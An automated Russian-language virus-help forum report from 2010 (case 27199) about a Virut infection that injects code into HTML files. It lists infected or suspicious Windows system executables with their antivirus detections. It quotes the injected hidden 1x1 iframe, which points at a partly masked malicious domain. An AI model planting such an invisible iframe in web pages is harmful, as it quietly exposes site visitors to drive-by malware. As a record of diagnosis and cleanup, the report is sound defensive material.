php вирус (заявка №27199)

Пользователь обратился [URL=http://virusinfo.info/911test]в сервис 911[/URL], указав на следующие проблемы в работе его компьютера:
Код вируса находится в html файлах и блокирует нормальную работу сайтов.

<iframe src="http://NtKrnlpa.inf*/rc/?i=1" width=1 height=1 style="border:0"></iframe>
Дата обращения: 13.08.2010 14:27:33
Номер заявки: [URL=http://virusinfo.info/911test/?action=case_show_directions&case_id=27199]27199[/URL]

[B]13.08.2010 15:00:28[/B] на зараженном компьютере были обнаружены следующие вредоносные файлы:
[LIST=1][*] [B]C:\WINDOWS\inf\unregmp2.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 318464 байт[*] дата файла: 13.08.2010 14:38:22[*] версия: "11.0.5721.5235 (WMP_11.070626-2109)"[*] копирайты: "(C) Корпорация Майкрософт. Все права защищены."[/LIST][*] [B]C:\WINDOWS\PCHealth\HelpCtr\Binaries\HelpCtr.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 769024 байт[*] дата файла: 13.08.2010 14:39:14[*] версия: "5.1.2600.5512 (xpsp.080413-2108)"[*] копирайты: "© Microsoft Corporation. All rights reserved."[/LIST][*] [B]C:\WINDOWS\system32\cmd.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 402944 байт[*] дата файла: 13.08.2010 14:40:10[*] версия: "5.1.2600.5512 (xpsp.080413-2111)"[*] копирайты: "© Корпорация Майкрософт. Все права защищены."[/LIST][*] [B]c:\windows\system32\cthelper.exe[/B] - [URL=http://www.securelist.com/ru/find?words=Virus.Win32.Virut.av]Virus.Win32.Virut.av[/URL]
[LIST][*] размер: 26624 байт[*] дата файла: 18.03.2010 22:17:48[*] версия: "6.00.01.1377-2.18.6580"[*] копирайты: "Copyright (C) 2004-2007"[*] детект других антивирусов: DrWEB 5.0: Зловред Win32.Virut.30; VBA32: Зловред Virus.Win32.Virut.2; BitDefender: Зловред Win32.Virtob.8.Gen; NOD32: Зловред Win32/Virut.AV virus; Avast4: Зловред Win32:Virtob[/LIST][*] [B]C:\WINDOWS\system32\imapi.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 150528 байт[*] дата файла: 13.08.2010 14:38:04[*] версия: "5.1.2600.5512 (xpsp.080413-2105)"[*] копирайты: "© Корпорация Майкрософт. Все права защищены."[/LIST][*] [B]C:\WINDOWS\system32\NeroCheck.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 155648 байт[*] дата файла: 13.08.2010 14:37:16[*] версия: "1, 0, 0, 5"[*] копирайты: "Copyright (c) 1995-2006 Nero AG and its licensors"[/LIST][*] [B]C:\WINDOWS\system32\regsvr32.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 12288 байт[*] дата файла: 13.08.2010 14:38:22[*] версия: "5.1.2600.5512 (xpsp.080413-2105)"[*] копирайты: "© Корпорация Майкрософт. Все права защищены."[/LIST][*] [B]c:\windows\system32\rundll32.exe[/B] - [URL=http://www.securelist.com/ru/find?words=Virus.Win32.Virut.av]Virus.Win32.Virut.av[/URL]
[LIST][*] размер: 40448 байт[*] дата файла: 15.04.2008 17:00:00[*] версия: "5.1.2600.5512 (xpsp.080413-2105)"[*] копирайты: "© Корпорация Майкрософт. Все права защищены."[*] детект других антивирусов: DrWEB 5.0: Зловред Win32.Virut.30; VBA32: Зловред Virus.Win32.Virut.2; BitDefender: Зловред Win32.Virtob.8.Gen; NOD32: Зловред Win32/Virut.AV virus; Avast4: Зловред Win32:Virtob[/LIST][*] [B]c:\windows\system32\spoolsv.exe[/B] - [URL=http://www.securelist.com/ru/find?words=Virus.Win32.Virut.av]Virus.Win32.Virut.av[/URL]
[LIST][*] размер: 65024 байт[*] дата файла: 15.04.2008 17:00:00[*] версия: "5.1.2600.5512 (xpsp.080413-0852)"[*] копирайты: "© Microsoft Corporation. All rights reserved."[*] детект других антивирусов: DrWEB 5.0: Зловред Win32.Virut.30; VBA32: Зловред Virus.Win32.Virut.2; BitDefender: Зловред Win32.Virtob.7.Gen; NOD32: Зловред Win32/Virut.AV virus; Avast4: Зловред Win32:Virtob[/LIST][*] [B]C:\WINDOWS\System32\userinit.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 26624 байт[*] дата файла: 13.08.2010 14:36:36[*] версия: "5.1.2600.5512 (xpsp.080413-2113)"[*] копирайты: "© Корпорация Майкрософт. Все права защищены."[/LIST][*] [B]C:\Program Files\Messenger\msmsgs.exe[/B] - подозрительный, обрабатывается вирлабом
[LIST][*] размер: 1695232 байт[*] дата файла: 13.08.2010 14:37:30[*] версия: "4.7.3001"[*] копирайты: "Copyright (c) Microsoft Corporation 2004"[/LIST][/LIST]